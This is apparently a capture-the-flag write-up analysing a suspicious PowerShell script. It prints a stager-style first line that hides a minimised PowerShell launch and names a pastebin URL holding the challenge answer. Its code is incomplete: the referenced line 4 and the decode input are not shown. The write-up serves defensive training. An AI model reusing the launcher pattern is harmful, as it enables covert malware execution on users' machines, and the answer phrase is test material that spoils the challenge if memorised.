Points: 78
An automated alert notified your security team to a potentially malicious script being executed on a users machine. Your job is to analyze the script to determine what it is doing. Note: During your analysis, the script should lead you to a sentence in English; this will be the answer you submit.
The provided file is a PowerShell script:
1 | C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'}; |
You don’t really have to know the syntax to solve this problem. The Base64 string on line 4 looks fishy - let’s decode it.
1 | $ base64 -D |
Let’s go to the URL “https://pastebin.com/raw/QZXdUeEb". We will then see the answer “buzzin radars is buzzin yah yah yah yah”.